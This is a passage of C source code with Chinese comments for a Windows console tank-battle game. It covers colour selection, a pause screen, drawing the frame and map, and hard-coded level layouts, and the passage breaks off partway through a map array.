SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); break; case 3: //黄色 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); break; case 4: //红色 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); break; case 5: //紫色 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); break; case 6: //白色 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN); break; case 7: //深蓝色(∵颜色深难与黑色背景辨识度不高 ∴坦克颜色不选用此颜色),只用在字体颜色闪烁中 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE); break; } } void Stop() //暂停 { int color=1,timing=0; while(1) { if(timing++%30==0) { ColorChoose(color); //颜色选择 GoToxy(100,13); //副屏幕打印 printf("游戏暂停"); GoToxy(88,17); printf("按回车键回到游戏"); GoToxy(88,18); printf("或按 Esc键退出游戏"); if(++color==8) color=1; } if (GetAsyncKeyState( 0xD )& 0x8000) //回车键 { GoToxy(100,13); //副屏幕打印 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); printf("正在进行"); //覆盖掉原来的提示 GoToxy(88,17); printf(" "); GoToxy(88,18); printf(" "); break; } else if(GetAsyncKeyState( 0x1B )& 0x8000) //Esc键退出 exit(0); Sleep(20); } } void ClearMainScreen() //主屏幕清屏函数,因使用system("cls");再打印框架有一定几率造成框架上移一行的错误,所以单独编写清屏函数 { for(int i=1;i<40;i++) { GoToxy(2,i); printf(" "); } } void Frame () //打印游戏主体框架 { //SetConsoleTextAttribute为设置文本颜色和文本背景颜色函数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_INTENSITY); printf(" ▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ "); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_BLUE); printf(" ▂▂▂▂▂▂▂▂▂▂▂▂▂ \n"); for(int i=0;i<14;i++) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_INTENSITY); printf("▕ ▏"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_BLUE); printf(" | |\n"); } SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_INTENSITY); printf("▕ ▏"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_BLUE); printf(" |═════════════|\n"); for(int i=0;i<24;i++) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_INTENSITY); printf("▕ ▏"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY|FOREGROUND_BLUE); printf(" | |\n"); } SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_INTENSITY); printf(" ▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔▔ "); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY| FOREGROUND_BLUE); printf(" ﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊﹊\n"); SideScreen (); //打印副屏幕 } void PrintMap() // 打印地图(地图既地图障碍物) { for(int j=0;j<41;j++) for(int i=0;i<41;i++) if(map[i][j]==6) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN |FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN|BACKGROUND_RED|BACKGROUND_BLUE); GoToxy(2*j,i); printf("■"); } else if(map[i][j]==2) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|BACKGROUND_GREEN|BACKGROUND_RED); GoToxy(2*j,i); printf("▓"); } else if(map[i][j]==1) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_GREEN|BACKGROUND_RED); GoToxy(2*j,i); printf("▓"); } else if(map[i][j]==5) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|BACKGROUND_BLUE|FOREGROUND_BLUE|FOREGROUND_GREEN); GoToxy(2*j,i); printf("~"); } SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_BLUE|FOREGROUND_RED|FOREGROUND_GREEN); GoToxy(38,37); printf("◣◢"); GoToxy(38,38); printf("███"); //∵无论地图怎么变,家所在位置不变,且家的字符多种,不方便用上述方式打印 GoToxy(38,39); printf("◢█◣"); //∴直接打印(且家的map值与符号无关) } void GetMap() //地图存放函数 { //map里的值: 个位数的值为地图方块部分,百位数的值为坦克 int i ,j; //map里的值: 0为可通过陆地,1为红砖,2待定,5为水,100为敌方坦克,200为我的坦克, int Map[8][41][41]= { { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,6,6,6,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,6,6,6,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,6,6,6,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,4}, {4,6,6,6,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,6,6,6,2,2,2,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,6,6,6,2,2,2,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,6,6,6,2,2,2,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,4}, {4,1,1,1,2,2,2,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,6,6,6,0,0,0,4}, {4,1,1,1,2,2,2,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,6,6,6,0,0,0,4}, {4,1,1,1,2,2,2,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,6,6,6,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,1,1,1,6,6,6,6,6,6,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,1,1,1,6,6,6,6,6,6,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,1,1,1,6,6,6,6,6,6,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,6,6,6,1,1,1,2,2,2,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,6,6,6,1,1,1,2,2,2,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,6,6,6,1,1,1,2,2,2,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,6,6,6,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,6,6,6,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,6,6,6,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,6,6,6,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,6,6,6,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,1,1,1,6,6,6,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,1,1,1,6,6,6,2,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,1,1,1,6,6,6,2,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,2,2,2,1,1,1,6,6,6,2,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,6,6,6,6,6,6,6,6,6,2,2,2,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,6,6,6,6,6,6,6,6,6,2,2,2,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,6,6,6,6,6,6,6,6,6,2,2,2,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,6,6,6,6,6,6,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,6,6,6,6,6,6,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,6,6,6,6,6,6,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,1,1,1,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,1,1,1,1,1,1,0,0,0,4}, {4,6,6,6,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,6,6,1,1,1,1,1,1,0,0,0,4}, {4,2,2,2,6,6,6,6,6,6,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,6,6,6,6,6,6,4}, {4,2,2,2,6,6,6,6,6,6,6,6,6,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,6,6,6,6,6,6,4}, {4,2,2,2,6,6,6,6,6,6,6,6,6,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,6,6,6,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,0,0,0,6,6,6,6,6,6,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,1,1,1,6,6,6,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,1,1,1,6,6,6,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,6,6,6,0,0,0,1,1,1,5,5,5,0,0,0,6,6,6,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,5,5,5,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,5,5,5,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,5,5,5,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,5,5,5,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,5,5,5,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,1,1,1,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,1,1,1,4}, {4,1,1,1,0,0,0,1,1,1,5,5,5,5,5,5,0,0,0,5,5,5,5,5,5,5,5,5,5,5,5,0,0,0,0,0,0,1,1,1,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,6,6,6,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,5,5,5,0,0,0,1,1,1,1,1,1,4}, {4,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,6,6,6,0,0,0,1,1,1,0,0,0,5,5,5,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,5,5,5,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,1,1,1,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,5,5,5,0,0,0,0,0,0,0,0,0,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, { {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,6,6,6,4}, {4,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,4}, {4,6,6,6,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,4}, {4,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,4}, {4,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,4}, {4,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,4}, {4,5,5,5,0,0,0,0,1,1,1,0,0,0,6,0,0,0,0,0,6,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,4}, {4,5,5,5,0,0,0,0,1,1,1,0,0,0,6,0,0,0,0,0,6,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,4}, {4,5,5,5,0,0,0,0,1,1,1,0,0,0,6,0,0,0,0,0,6,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,5,5,5,4}, 